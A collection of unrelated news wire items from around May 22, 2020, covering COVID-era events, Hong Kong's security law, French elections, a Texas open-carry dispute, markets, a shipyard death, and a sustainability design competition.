[May 22, 2020] Winning Projects of the International Student Competition By BE OPEN and Cumulus Embrace the United Nations' SDGs to Make the World a Better Place

LONDON, May 22, 2020 /PRNewswire/ -- In 2019, BE OPEN and Cumulus joined forces to hold an international competition for students and graduates of creative courses of universities. The competition 'Second Life of Things in Design' became an integral part of Cumulus Green 2020: For A New Circular Economy, and was inspired by the United Nation's SDG programme. SDGs were adopted by all United Nations Member States as a universal call to action to end poverty, protect the planet and ensure that all people enjoy peace and prosperity by 2030. Students of arts, design and architecture-related university courses were encouraged to submit works that demonstrate a creative, design-oriented take on the problems of sustainability, wiser production and consumption formulated by SDG12. The three winners have been selected out of a total of 683 submissions from 44 countries, and they will receive the prizes of 5,000, 3,000, 2,000 from each BE OPEN and Cumulus. The first prize goes to Valerio Di Giannantonio, a Master's student at Iceland University of the Arts for his FiloSkin, a speculative product made of microalga capable of producing oxygen and filtering CO2. Filoskin might mitigate environental problems while adapting humans to pollution conditions.



The second prize goes to Natalie Ferry and Stefano Pagani, BFA students in Product Design at Parsons School of Design, The New School in New York, for their Bloom, a network of bio-reactors composed of an algae-based, 3D-printed structure that may make algae-based biofuel a reality. The third prize goes to Frida van der Drift Breivik and Frya Thue, Master's Students at The Oslo School of Architecture and Design in Norway, for the concept of DYPP. It explores the potential of seaweed as bioplastic, from introducing a new biomaterial to challenging packaging as we see it today.

In addition to the three winners, the judges selected 50 honorable mentions, out of which two more winners of 'Second Life of Things in Design' will be named: one selected by the founder of BE OPEN Elena Baturina, and one selected by an open online vote. Both of the winners will receive 2,000. Elena Baturina, BE OPEN Founder explains the purpose of the competition: "It's vital to give younger creative minds all the support they need to bring their ideas to fruition, because it is the originality of thought that is required to make any breakthrough, and younger people possess that originality. BE OPEN's whole aim is to support, promote and help realize ideas that will actually change the world for the better. At the same time, we are looking to support the people who are capable of producing these ideas and giving them the inspiration and confidence to progress them." Mariana Amatullo, PhD, President, Cumulus, Vice Provost for Global Strategic Initiatives, The New School comments "We are delighted to partner with BE OPEN in this companion competition initiative. I wish to extend my sincere gratitude to BE OPEN for their generous support in celebrating the winning projects with Cumulus. We are thrilled that the students behind the 50 honorable projects will now have the opportunity to be recognized with two important additional prizes. At this time of mostly difficult news in the context of the COVID-19 global pandemic, it is critical for associations such as Cumulus to come together with partners such as BE OPEN to shine the spotlight on the talent of our next generation of design leaders who are imagining a more sustainable world." The awards ceremony and celebration of all the winners will become part of Cumulus's 30th Anniversary assembly and educational conference.

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Baltimore Mayor Bernard "Jack" Young on Thursday asked President Trump to "please stay home" and not visit the city's Fort McHenry National Monument and Historic Shrine on Memorial Day.

Baltimore is under a stay-at-home order because of the coronavirus, and Young said in a statement the city has worked "closely with our health professionals to educate the public about the benefits of social distancing and staying home, unless leaving for an essential reason, like visiting a doctor or picking up groceries. That President Trump is deciding to pursue nonessential travel sends the wrong message to our residents, many of whom have been disproportionately impacted by the COVID-19 virus."

Young wishes that Trump, "as our nation's leader, would set a positive example and not travel during this holiday weekend." Not only does a trip to Baltimore send "a conflicting message to our residents, his visit requires personnel and equipment and has a price tag that our city, which is still dealing with the loss of roughly $20 million in revenue per month, simply can't afford to shoulder."

The White House announced on Wednesday that Trump would spend part of Memorial Day at the Fort McHenry National Monument and Historic Shrine, which is currently closed to the public. Trump has called Baltimore a "rat and rodent infested mess," and was greeted by protesters last September when he came to the city for an event. On Thursday evening, the White House said Trump isn't going to cancel his plans, as "the brave men and women who have preserved our freedoms for generations did not stay home and the president will not either as he honors their sacrifice by visiting such a historic landmark in our nation's history."

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In a strange new world where the volume was suddenly turned down - empty sidewalks, less traffic and fewer early-morning leaf blowers - people stuck in their homes are tuning their ears to a sweet natural sound they've long taken for granted: bird songs.

Across the country, scientists who study birds say they're besieged by family members and friends asking the same question: Is the bird population exploding?

"I'm hearing from a lot of people saying, wow, there are so many birds," said T. Scott Sillett, a wildlife biologist who heads the Smithsonian's Migratory Bird Center, which runs the national Neighborhood Nestwatch - a kind of bird census conducted by volunteers. Sillett shakes his head.

"For one, we're hearing more birds because there's less human noise, fewer tires humming and horns," he said. "We're less conspicuous in our houses, and the birds are coming down to see. People are saying, wow, this bird is nesting right here under my window."

The bird was probably there all along.

"There's a surge in interest in birdwatching right now," said Mike Parr, president of the American Bird Conservancy. "People are in their houses and running out of Netflix and Zoom meetings and wondering what to do and they're realizing there are birds in their backyards."

The scientists, or bird nerds as they're called, say it would take more than a year of research before they could answer whether more robins, meadowlarks, blue jays, orioles, cardinals and sparrows are out because people are in. But they're sure about one thing: More people are paying attention.

Each year, the Cornell Lab of Ornithology holds an annual Global Big Day of birdwatching, which happened this year on May 9. The organizers didn't notice an unusual increase in birds, but the number of people participating in the event rose to 50,000, a 45% increase from the year before, said Ian Davies, a project leader for eBird, the online portal that runs the event.

The birds they sighted and checked on a list grew 40% because there were so many pairs of staring eyes. "Not only was it up that Saturday, but over the past six weeks, participation has been up about 50%, our largest growth," Davies said. "People are just turning to birds. They're looking out their windows and getting fascinated by them."

John Fitzgerald, executive director of the Cornell Lab, says he knows one reason people think there are more birds than before: It's spring. Birds are flocking back from South America and the southern United States to mark territories and mate.

Both actions involve a ton of singing. Cardinals, blue jays and robins are tweeting boundaries to territories they've staked out. They're also tweeting for love, acting on hard-wired impulses to get busy, lay eggs and fly south with a new generation of birds before winter.

The irony is that scientists say bird populations have been declining over the past few decades. A study in September showed that nearly 3 billion birds have been lost in North America since 1970, a 29% drop in the United States and Canada.

Fewer sparrows and finches are visiting bird feeders every year, the study said. And the flutelike song of the western meadowlark is fading to silence. With such a reduction in bird totals, it would take a major drop in noise pollution to better hear those that remain, experts said.

One scientist is trying to determine if the coronavirus pandemic quarantines are having an impact on bird behavior and populations. Olivia Sanderfoot, a National Science Foundation graduate researcher at the University of Washington, launched a study that will observe bird feeders while monitoring air quality and noise pollution in the Pacific Northwest.

When the study launched on April 1, "I thought we would be able to get a few family and friends or maybe 30 volunteers," Sanderfoot said. She now has 860.

"Yes, I do think the quarantine has to do with the number of volunteers. I don't think we would have gotten this support if this were a typical spring," Sanderfoot said. She called it "a very powerful data set for ecology. I could not go to 800-plus locations across the Pacific Northwest every week."

For the study, birdwatchers have to commit to standing at one predetermined station for 10 minutes to record all the birds they see or hear. The information they collect is logged into eBird and reviewed.

The plan is to build a model of bird habitats in Washington, Oregon and Northern California and record their behaviors during a period of improved air quality and fewer cars on roads.

"I will only be able to better understand how social distancing impacted birds once we have 2021 data," Sanderfoot said.

"One thing that's especially true in urban and high-density [areas], greatly reduced human traffic leaves more acoustic space out there," Fitzgerald said. "Birds do respond negatively to a lot of human noise, according to acoustic studies. It's quite reasonable to imagine birds are using more of that space with people in their houses. City parks are usually overrun with human beings, and now species are stopping to check them out and use them."

In some cases, the newfound freedom is to their detriment. On the Gulf Coast crescent that extends from Brownsville, Texas, to Naples, Florida, migrating shorebirds and seabirds have nested in areas that human beachgoers would occupy were it not for the pandemic. Now, people are returning, and those nests could be threatened.

"Generally, when the covid shutdown began and all the beaches closed, that was right at the beginning of the breeding season of the shorebirds and seabirds we work with," said Kacy Ray, the gulf program manager for the American Bird Conservancy. "They were just beginning to nest and pair."

Last year, there were more than 430 pairs of nesting birds on a section of a beach in Galveston, Texas. Dozens of groups that protect birds, including state and county government organizations, rushed to fence off those areas, but they could only protect a few.

Kristen Vale, the Texas coastal program manager for the conservancy, said she watched as a piping plover, a shorebird, hovered over a nest that was suddenly overrun by people.

"I'm almost certain that bird abandoned its nest because there was so much recreation," Vale said. "Another plover nested in an area where they hadn't before, where cars could park, and the bird is still defending its nest. It's incredibly disturbed."

That bird is spending a lot of time off its nest, which could slow the development of its eggs, if they survive. Grackles and other predators, such as gulls, eat eggs at nests when parents are away for long periods.

If a person is at the beach and a bird is hovering, squawking like crazy, it's probably trying to protect a nest with eggs, Vale said. Stay away from dunes where birds tend to nest.

"A lot of these birds are camouflaged and are hard to see with the naked eye," she said. "They're above the high-tide line. We strongly encourage people to keep dogs on leashes because dogs eat eggs and they eat the adults."
(CNN)  China will move to pass a hugely controversial national security law for Hong Kong, in what could be the biggest blow to the city's autonomy and civil liberties since its handover to Chinese rule in 1997.

The move by China's rubber stamp parliament, the National People's Congress (NPC), which is meeting in Beijing this week, is sure to fuel further anger and protests in the city, which was rocked by over six months of increasingly violent anti-government unrest last year.

The law, which is expected to ban sedition, secession and subversion of the central government in Beijing, will be introduced through a rarely used constitutional method that could effectively bypass Hong Kong's legislature.

News of the plans was met with immediate criticism by opposition lawmakers in Hong Kong, human rights groups and the US State Department.

"It is the end of 'one country, two systems'," said Dennis Kwok, a pro-democracy lawmaker, referring to the principle by which Hong Kong has retained limited democracy and civil liberties since coming under Chinese control in 1997. "(They are) completely destroying Hong Kong."

On Thursday, State Department spokeswoman Morgan Ortagus warned that "any effort to impose national security legislation that does not reflect the will of the people of Hong Kong" would be met with international condemnation.

Ortagus noted that the State Department was delaying its submission to Congress of the annual Hong Kong Policy Act Report in order "to account for any additional actions that Beijing may be contemplating in the run-up to and during the National People's Congress that would further undermine Hong Kong's high degree of autonomy."

However, Chinese officials and state media defended the law as vital to protecting national security in the wake of last year's protests and a 17-year failure by the Hong Kong government to pass similar legislation, since the last effort was met with mass protests in 2003.

"National security is the bedrock underpinning a country's stability. Safeguarding national security serves the fundamental interests of all Chinese people, including our HK compatriots," NPC spokesman Zhang Yesui told a news conference in Beijing on Thursday.

Ahead of the annual NPC meeting, which starts Friday, Zhang announced that this year's session would review a proposal titled: "Establishment and Improvement of the Legal System and Implementation Mechanism for the Safeguarding of National Security in the Hong Kong Special Administrative Region."

He emphasized that Hong Kong is an inseparable part of China and, "in light of new circumstances and need," it is "highly necessary" for the NPC to exercise its constitutional power to deliberate such a proposal, adding that further details would be revealed Friday.

Patience run out

Article 23 of the Basic Law -- Hong Kong's de facto constitution -- calls on the local government to "enact laws on its own to prohibit any act of treason, secession, sedition, subversion against the Central People's Government."

But almost 23 years after the former British colony was handed back to China, the law has never been passed -- the last attempt in 2003 was met with what were then the largest-ever protests in the city's history, and the legislation was shelved.

Beijing has long been frustrated by this failure, and has called for the legislation to be introduced. However, while subsequent Hong Kong administrations have spoken of a need to pass Article 23, it has never been put on the agenda, apparently for fear of the type of widespread unrest seen last year over a proposed extradition law with mainland China.

Those mass protests, which lasted over six months and grew increasingly violent and disruptive before the coronavirus pandemic drew them to a partial halt, were a major challenge to Beijing's control over the city. Following a closed-door meeting of China's top decision-making body late last year, an official communique spoke of the need to "improve" Hong Kong's legal system, which some saw as a reference to Article 23.

In an editorial, the state-backed Global Times newspaper said the proposed law "will ensure forceful clampdown on evil foreign forces' interference in Hong Kong affairs and make extremist opposition forces in Hong Kong restrain their destructive behaviors."

According to local media, Hong Kong delegates to the NPC suggested to Beijing using Annex III of the Basic Law to effectively bypass the years-long gridlock over the anti-sedition legislation. Anything added to the annex must be introduced in Hong Kong "by way of promulgation or legislation."

Per Article 18 of the Basic Law, "laws listed in Annex III ... shall be confined to those relating to defense and foreign affairs as well as other matters outside the limits of the autonomy of the Region." Previous laws introduced in Hong Kong by law of Annex III include regulations regarding China's exclusive economic zone, which has an effect on territorial claims in the South China Sea, and legislation regarding foreign banks.

In recent years, the Chinese government has taken a broader view to Annex III, and in 2017 it added a national anthem law to the list. The Hong Kong government said this month that the legislature will resume debate on that bill next week. The proposed law will make it a crime punishable by up to three years in prison "to insult the national anthem."

That it has taken three years for the national anthem bill to receive a second reading indicates the type of delaying tactics and fierce opposition any attempt to introduce Article 23 via the legislature would bring. However, the Basic Law also permits the Hong Kong government to simply promulgate the law, bypassing lawmakers altogether. While this would be hugely controversial, and may face legal challenges, constitutionally it remains an option.

After the pandemic-enforced pause, unrest has begun again in earnest in Hong Kong. The national anthem law, as well as suggestions that a traditional commemoration of the Tiananmen Square massacre on June 4 might be called off, have already fired up the opposition movement, which hardly needed any additional motivation to resume protesting.

Putting Article 23 -- long seen as the law that would finally spell the "death of Hong Kong" -- back on the agenda is guaranteed to create further anger and protests, dashing any chance of a return to normality or healing of the city's yawning political divide.

There is a chance, however, that the new law will give the authorities remit to move proactively to arrest some opposition figures. In a commentary published in Xinhua Thursday, the state-run news agency blasted pro-independence activists, saying separatists posed "serious challenges to national sovereignty, security and development" and would not be tolerated by Beijing.

This story was first published on CNN.com, "China to propose hugely controversial national security law in Hong Kong."
France's prime minister, Edouard Philippe, confirmed on Friday that the final round of mayoral elections will go ahead on 28 June at the end of the Covid-19 lockdown period. The vote, said Philippe, could be delayed again if the health crisis deteriorates.

"This second round will be unlike any other," Philippe said as he outlined the guidelines to be adopted when some 16 million voters return to the polls next month for the final round of mayoral elections.

"We have the dual responsibility of ensuring the safety of voters and the sincerity of the vote (...)" he said while insisting that democratic life must go on.

The second round vote on 22 March should have decided the mayor for nearly 5,000 cities and towns without a clear winner from the first round on 15 March which involved 36,000 locations.

But the second phase was called off between the two rounds as the government imposed a nationwide lockdown to curb the coronavirus outbreak.

Ministers are expected to rubber-stamp a decree fixing the new date at a cabinet meeting next Wednesday.

Delay possible

Philippe, who was flanked at the press conference at the Hotel Matignon by his interior minister, Christophe Castaner, announced that the bill would include a clause allowing the vote to be postponed to January 2021 if the health crisis worsens.

"There will be a delay if the health situation does not allow for a vote to take place," Philippe said.

Voters in France will know two weeks ahead of the vote on 28 June if they need to cast their ballots or not.

According to the government's scientific advisory panel, sufficient safeguards can be taken to mitigate contagion risks.

To limit the spread of Covid-19, voters will be expected to wear masks, use hand sanitizer and respect social distancing rules. Electoral assessors will also be obliged to wear surgical masks.

Difficult campaign

Some observers want the government to go even further and allow people to send their ballots by post to limit any social contact.

"Postal ballots were stopped in 1975 because of cases of fraud," Castaner said.

On the other hand, the state will organise proxy voting. This will allow an elderly voter to ask a third party to vote on his or her behalf.

Both Castaner and Philippe acknowledged that the election campaign would be difficult for candidates given social distancing constraints.

Philippe, who is also a candidate in the port town of Le Havre, urged his fellow competitors to prioritise social media in their campaigns.

"I trust in candidates' ability to be inventive when getting their message across to voters while at the same time respecting social distancing rules," he said.
In a video posted last week, Open Carry Texas Vice President David Amad said the group will return to Odessa and teach Ector County Sheriff Mike Griffis a lesson following the arrests of some group members for carrying guns outside a West Odessa bar.

Six men were arrested earlier this month after openly carrying rifles in a lot adjacent to Big Daddy Zanes. They said they were supporting the owner, who opened against Gov. Greg Abbotts executive orders. She was also arrested for violating those orders, as was another employee.

Griffis said in a press conference the day after the arrests that the presence of Open Carry Texas was meant to intimidate law enforcement and that the men were not there to exercise their Second Amendment rights.

Now, members of Open Carry Texas are planning to return to Big Daddy Zanes and hold a second rally on June 6, according to a Facebook event and video posted on YouTube.

Were going to Odessa and were going to show this son of a b**** what the Constitution really means, Amad said in the video. Were gonna have to stand up to this ol boy.

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The arrests of the six individuals led to extensive debate on social media over the validity of the charges against them. The men were charged with carrying weapons where prohibited; Griffis cited the Texas Alcohol and Beverage Commission code when explaining the charges, given the men were on a property adjacent to the bar. The Texas Penal Code defines a bars premises as the building where the bar is located and does not include parking lots or nearby properties.

Griffis has said he and his family have received numerous threats since the arrests became national news. In Amads video, he called for viewers to cease threatening Griffis family.

However, Amad appeared to threaten Griffis in the video.

This guy needs a lesson, he said. He needs a big lesson, and we need to go out there and teach him.

Amad said any rally attendees who break the law will surrender peacefully, but if they believe they havent broken the law and the sheriffs office attempts to arrest them, he said were not going to allow that son of a b**** to arrest us.

I dont care if he rolls in with the whole 2nd Armored Division, Im not going to surrender to him, he said.

A spokesperson for the Ector County Sheriffs Office said they have seen the video but could not comment on it because its part of an ongoing investigation.
Dhaka, May 22 (IANS) Bangladesh-based Beximco Pharmaceuticals has become the worlds first company to produce a generic version of the antiviral drug remdesivir, originally developed by US-based Gilead Sciences, it was reported on Friday.

Remdesivir was originally designed as an Ebola treatment, the BBC reported.

It works by attacking an enzyme that a virus needs in order to replicate inside our cells.

Beximco's production of the generic version will ensure quick supply of the drug to many countries in the South Asia.

A recent clinical trial in the US showed the drug helped shorten the recovery time for people who were seriously ill.

However, it did not significantly improve survival rates. Experts have warned that the drug should not be seen as a "magic bullet" for coronavirus.

But in the absence of any clear treatment for COVID-19, many countries are willing to try remdesivir, said the BBC report.

--IANS

ksk/
Although the womens budget has never been implemented to its full potential, one of its biggest victories was a narrative shift, according to Pregs Govender, a member of Parliament with the African National Congress who introduced the idea at the budget debate in 1994. Throughout the country, people are talking about women and the budget in a way that you never heard before we started this, she said in an interview in 2002.

The initiative made visible that those who suffered the most under apartheid  rural black women  were also the leaders most needed to build a successful democracy. We should follow South Africas example.

While it might seem improbable that this administration would adopt such a strategy, Iceland, the Netherlands, Canada, Mexico and other nations have already done so as of 2016.

Consider its impact: In 2015, Iceland abandoned a legislative proposal to simplify the income tax system after a gender analysis revealed it would have inadvertently widened the income gap. In Mexico, gender budgeting has resulted in funding targeted toward diseases affecting women, like cervical, ovarian and breast cancer.

Closer to home, such budgeting practices have taken place on the local level. The Department of Public Works in San Francisco reported in 2012 that it hired more female engineers after a gender analysis showed the department hired women for mostly clerical and office positions. Even more promising, Hawaii has proposed a feminist economic recovery response to the coronavirus that addresses the health and financial independence of those most suffering under inequality, especially Native Hawaiian and immigrant women.

Philanthropy should also implement such an approach. As a former foundation executive director who is white (Ms. Shifman) and a nonprofit leader who is black (Ms. Tillet), we have seen again and again the ways in which women of color are passed over for funding, in favor of most everyone else. In general, nonprofit organizations led by blacks and Latinos receive less funding than peer organizations with white leaders.

This disparity is not a result of effectiveness. In fact the inverse is true. Women of color are leading some of the most critical and transformative social justice organizations in the country often on shoestring budgets and most certainly without the social capital of white-led nonprofits. A pervasive example of this vicious cycle is when grant size is tied to budget size and not impact or potential for impact, compounding historical underinvestment in the leadership of women of color.
Immigration attorney Henry A. Posada The need for immigrants to be able to trust an expert immigration lawyer in their fight for residency or citizenship is now greater than ever.

An April 23 article on The National Law Review reports on a Presidential Proclamation that prohibits until June 22 the entry of immigrants that, the law says, may impact the U.S. labor market during the federal governments response to the current public health crisis. The article states that the proclamation primarily impacts U.S. workers who exist at the margins between employment and unemployment during this time of high domestic unemployment. The proclamation also notes a list of conditions and potential exceptions. For example, individuals who have or plan to apply to adjust their legal status in the United States are exempted from the proclamation. However, there are over a dozen additional exceptions, and figuring out which ones apply to a given situation can be extremely confusing to any layperson. Los Angeles-based immigration attorney Henry A. Posada says that the proclamation serves as an example of how complicated U.S. immigration laws have become in recent decades and how the need for immigrants to be able to trust an expert immigration lawyer in their fight for residency or citizenship is now greater than ever.

Mr. Posada says that now is the time for immigrants to fully understand their rights and doing so without the knowledgeable hand of an immigration attorney can be overwhelming. Mr. Posada says that immigration laws tend to be highly complex and vary widely, so being aware of the differences can be beneficial in many cases. Mr. Posada says that many applications relating to immigration in the United States are highly comprehensive, and errors can lead to delays or even rejection. Naturally, Mr. Posada says an immigration lawyer can help clients navigate all the different forms and sections successfully, making a rather tedious process quite manageable.

The Los Angeles area attorney says that immigrating to the United States may still be a rewarding experience for those who may be leaving uncertain circumstances or simply seeking a better life in a land known for opportunity. Whether clients are only just starting the immigration process or defending their ability to remain in the United States, the process can run smoothly but just about everyone requires legal assistance for that to happen in most cases, says Mr. Posada.

Interested readers can find more information on The Law Offices of Henry A. Posada by visiting their website at https://www.hposadalaw.com or by calling 562-904-9080.


Local stocks are trading lower in early trade after logging gains in the prior three trading sessions. At 9:20 IST, the barometer index, the S&P BSE Sensex, was down 115.62 points or 0.37% at 30,817.28. The Nifty 50 index was down 34.20 points or 0.38% at 9,072.05.

The S&P BSE Mid-Cap index was off 0.17%. The S&P BSE Small-Cap index was up 0.24%.

The market breadth, indicating the overall health of the market, was positive. On the BSE, 512 shares rose and 442 shares fell. A total of 58 shares were unchanged.

Cues to watch:

Reserve Bank of India (RBI) governor Shaktikanta Das will address a press conference today at 10:00 IST. This will be third presser of the governor in the context of COVID-19 related measures in last two months. As per reports, the governor may announce an extension of the loan moratorium for term loans for a few more months in the backdrop of extension of the nationwide lockdown till May 31. Secondly, the governor could announce the continuation of the liquidity support measures for banks to lend to Non-banking finance companies and small industrial units in view of the prolonged stress in the economy. The governor may also comment on the recent economic package announced by the government to counter the Covid-impact in the economy.

Stocks in news:

Reliance Industries (RIL) rose 0.68%. RIL and Jio Platforms announced today that KKR will invest Rs 11,367 crore into Jio Platforms. This transaction values Jio Platforms at an equity value of Rs 4.91 lakh crore and an enterprise value of Rs 5.16 lakh crore. This is KKR's largest investment in Asia and will translate into a 2.32% equity stake in Jio Platforms on a fully diluted basis. Over the last month, leading technology investors, such as, Facebook, Silver Lake, Vista, General Atlantic and KKR have announced aggregate investments of Rs 78,562 crore into Jio Platforms. Jio Platforms is a wholly-owned subsidiary of Reliance Industries.

Bajaj Holdings & Investment fell 1.3%. The company's consolidated net profit dropped 54.34% to Rs 361.41 crore on 25.21% fall in total income to Rs 636.57 crore in Q4 March 2020 over Q4 March 2019.

VST Industries gained 3.74% after net profit rose 33.15% to Rs 70.61 crore on 7.2% rise in total income to Rs 303.81 crore in Q4 March 2020 over Q4 March 2019.

Quick Heal Technologies slumped 9.03% after consolidated net profit dropped 71.21% to Rs 7.99 crore on 23.3% fall in total income to Rs 72.50 crore in Q4 March 2020 over Q4 March 2019.

Automotive Axles advanced 4.16%. Automotive Axles said that the company has resumed offices and manufacturing locations at Jamshedpur with effect from 20 May 2020 and at Hosur with effect from 6 May 2020 with all precautionary measures including the safe distancing and criteria's as per the government norms.

Global Markets:

Overseas, Asian stocks are trading lower on Friday as tensions between the US and China rise. Hong Kong's Hang Seng index led losses among the region's major markets as it plunged over 3%. The moves came after reports surfaced Thursday that China is planning national security laws for Hong Kong, after the city was plunged into turmoil by pro-democracy protests last year that periodically degenerated into violence. The laws would reportedly ban secession, foreign interference, terrorism and all seditious activities aimed at toppling the central government and any external interference in the former British colony.

In US, Wall Street ended lower on Thursday, on a fresh wave of China-US tensions that raised doubts about the trade deal reached early this year between the world's two largest economies.

Stocks traded under pressure for most of the session as President Donald Trump tweeted late Wednesday that China's disinformation and propaganda attack on the United States and Europe is a disgrace, while the White House issued a broad attack on Beijing's economic policies, military buildup, and human rights violations.

Back home, the market ended with decent gains on Thursday, extending its winning run for the third straight session. The barometer S&P BSE Sensex rose 114.29 points or 0.37% at 30,932.90. The Nifty 50 index rose 39.70 points or 0.44% at 9,106.25.

Foreign portfolio investors (FPIs) sold shares worth Rs 258.73 crore, while domestic institutional investors (DIIs), were net buyers to the tune of Rs 401.78 crore in the Indian equity market on 21 May, provisional data showed.

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(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Source: Xinhua| 2020-05-23 05:04:33|Editor: huaxia

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ISTANBUL, May 22 (Xinhua) -- Turkish President Recep Tayyip Erdogan and his Iraqi counterpart Barham Salih on Friday discussed the latest developments related to the COVID-19 pandemic over the phone.

The two leaders addressed the cooperation possibilities in the fight against the coronavirus, the state-run Anadolu agency said.

Erdogan and Salih also discussed regional developments as well as bilateral issues, it added.

Turkey reported 952 new COVID-19 cases and 27 more deaths on Friday, bringing the total number of confirmed cases to 154,500 and the death toll to 4,276.

The Turkish government has recently started a normalization process as the figures related to the COVID-19 cases tend to decrease. Enditem




By Lee Hyo-jin







A subcontracted worker hired by Hyundai Heavy Industries (HHI) died while working at a shipyard in Ulsan Metropolitan City, according to Korea's biggest shipbuilder Friday.







The 34-year-old man, surnamed Kim, was found unconscious at around 11:20 a.m. Thursday in an LNG carrying vessel where he was working on welding operations.







He was immediately taken to Ulsan University Hospital, but was pronounced dead shortly after. The cause of death is assumed to be argon gas poisoning. Argon gas is used to control air pressure in welding. It can be fatal if a person is exposed to the gas for a long period of time in an enclosed area.







This year alone, there have been three more tragic accidents in HHI which led to workers' deaths.







In February, a subcontracted worker fell from a height of 21 meters and died. On April 16 and 21, two workers were killed in separate accidents caused by a "big door" and a hydraulically operated door.







Due to the repeated fatal accidents, the Ministry of Employment and Labor had conducted a special investigation on industrial safety and health for eight days from May 11 to 20. However, the fourth accident occurred only one day after the investigation was completed.







The union has called for a full stop on operations in the LNG vessel where the worker was found.







"We deeply regret this loss, as we were putting all our efforts on safety control by setting up comprehensive measures following several serious accidents this year," an official at Hyundai Heavy told The Korea Times.







"HHI will actively cooperate with the authorities' investigation to clarify the exact cause of the accident. Also, we will conduct a company-wide inspection on our safety management system to prevent further accidents."


[May 22, 2020] Research Report with COVID-19 Forecasts - Automotive Backup Camera Market 2020-2024 | Focus on Enhancing Safety in Vehicles to Boost Growth | Technavio

Technavio has been monitoring the automotive backup camera market and it is poised to grow by 44.27 million units during 2020-2024, progressing at a CAGR of over 12% during the forecast period. The report offers an up-to-date analysis regarding the current market scenario, latest trends and drivers, and the overall market environment. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200522005076/en/ Technavio has announced the latest market research report titled Global Automotive Backup Camera Market 2020-2024 (Graphic: Business Wire) Technavio suggests three forecast scenarios (optimistic, probable, and pessimistic) considering the impact of COVID-19. Please Request Free Sample Report on COVID-19 Impact The market is fragmented, and the degree of fragmentation will accelerate during the forecast period. Aptiv Plc, Continental AG, Delphi Technologies Plc, DENSO (News - Alert) Corp., Gentex Corp., Hella GmbH & Co. KGaA, Magna International Inc., Robert Bosch GmbH, Valeo SA, and ZF Friedrichshafen AG are some of the major market participants. The focus on enhancing safety in vehicles will offer immense growth opportunities. To make the most of the opportunities, market vendors should focus more on the growth prospects in the fast-growing segments, while maintaining their positions in the slow-growing segments. Focus on enhancing safety in vehicles has been instrumental in driving the growth of the market. Automotive Backup Camera Market 2020-2024: Segmentation Automotive Backup Camera Market is segmented as below: Application Passenger Car Commercial Vehicle

Geography North America Europe APAC South America MEA

To learn more about the global trends impacting the future of market research, download a free sample: https://www.technavio.com/talk-to-us?report=IRTNTR43671



Automotive Backup Camera Market 2020-2024: Scope Technavio presents a detailed picture of the market by the way of study, synthesis, and summation of data from multiple sources. Our automotive backup camera market report covers the following areas:

Automotive Backup Camera Market Size

Automotive Backup Camera Market Trends

Automotive Backup Camera Market Industry Analysis This study identifies increased adoption backup camera due to the rising number of fatalities as one of the prime reasons driving the automotive backup camera market growth during the next few years. Automotive Backup Camera Market 2020-2024: Vendor Analysis We provide a detailed analysis of vendors operating in the automotive backup camera market, including some of the vendors such as Aptiv Plc, Continental AG, Delphi (News - Alert) Technologies Plc, DENSO Corp., Gentex Corp., Hella GmbH & Co. KGaA, Magna International Inc., Robert Bosch GmbH, Valeo SA, and ZF Friedrichshafen AG. Backed with competitive intelligence and benchmarking, our research reports on the automotive backup camera market are designed to provide entry support, customer profile and M&As as well as go-to-market strategy support. Register for a free trial today and gain instant access to 17,000+ market research reports. Technavio's SUBSCRIPTION platform Automotive Backup Camera Market 2020-2024: Key Highlights CAGR of the market during the forecast period 2020-2024

Detailed information on factors that will assist automotive backup camera market growth during the next five years

Estimation of the automotive backup camera market size and its contribution to the parent market

Predictions on upcoming trends and changes in consumer behavior

The growth of the automotive backup camera market

Analysis of the market's competitive landscape and detailed information on vendors

Comprehensive details of factors that will challenge the growth of automotive backup camera market vendors Table Of Contents: Executive Summary Market Landscape Market ecosystem

Market characteristics

Value chain analysis Market Sizing Market definition

Market segment analysis

Market size 2019

Market outlook: Forecast for 2019 - 2024 Five Forces Analysis Five forces summary

Bargaining power of buyers

Bargaining power of suppliers

Threat of new entrants

Threat of substitutes

Threat of rivalry

Market condition Market Segmentation by Application Market segments

Comparison by Application

Passenger car - Market size and forecast 2019-2024

Commercial vehicle - Market size and forecast 2019-2024

Market opportunity by Application Customer Landscape Geographic Landscape Geographic segmentation

Geographic comparison

North America - Market size and forecast 2019-2024

Europe - Market size and forecast 2019-2024

APAC - Market size and forecast 2019-2024

South America - Market size and forecast 2019-2024

MEA - Market size and forecast 2019-2024

Key leading countries

Market opportunity by geography Market Drivers Market Challenges Market Trends Vendor Landscape Overview

Vendor landscape

Landscape disruption Vendor Analysis Vendors covered

Market positioning of vendors

Aptiv Plc

Continental AG

Delphi Technologies Plc

DENSO Corp.

Gentex Corp.

Hella GmbH & Co. KGaA

Magna International Inc.

Robert Bosch GmbH

Valeo SA

ZF Friedrichshafen AG Appendix Scope of the report

Currency conversion rates for US$

Research methodology

List of abbreviations About Us Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios. View source version on businesswire.com: https://www.businesswire.com/news/home/20200522005076/en/

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A 6-year-old boy helped crack open a nearly decade-old robbery case when he reeled in a locked safe from the bottom of a South Carolina lake.

Knox Brewer of Johns Island took up "magnet fishing" and began hunting for metal objects underwater as a way to pass time during the coronavirus pandemic, his family members told WCIV-TV this week.

The boy was out with his family at Whitney Lake this month when the magnet attached to his line stuck to something heavy in the mud below, the news outlet reported. With the help of a bystander, Knox pulled in and pried open what turned out to be a waterlogged lockbox containing debris-covered jewelry and credit cards, as well as a checkbook, according to a video of the discovery.

"I knew the right thing to do was go ahead and call the local authorities, get them involved and try to solve this mystery," the child's father, Jonathan Brewer, told the outlet.

Authorities determined the sunken safe belonged to a woman who lived across the street from the lake. She said it had been stolen from her home eight years ago, the outlet reported.

While most of the expensive items had been taken, the find still turned out to be a valuable catch, according to the Brewers. They said they were able to reunite her with charms from an old bracelet.

"The first thing that she did was just kneel down, hug Knox and thanked him and thanked him for bringing that closure to her," Jonathan Brewer said.

 Associated Press

Jazz competition for students goes virtual

The coronavirus pandemic has altered the annual Essentially Ellington High School Jazz Band Competition & Festival, but it will still go on, giving students the chance to show their talents virtually.

This year marks the 25th anniversary of the program.

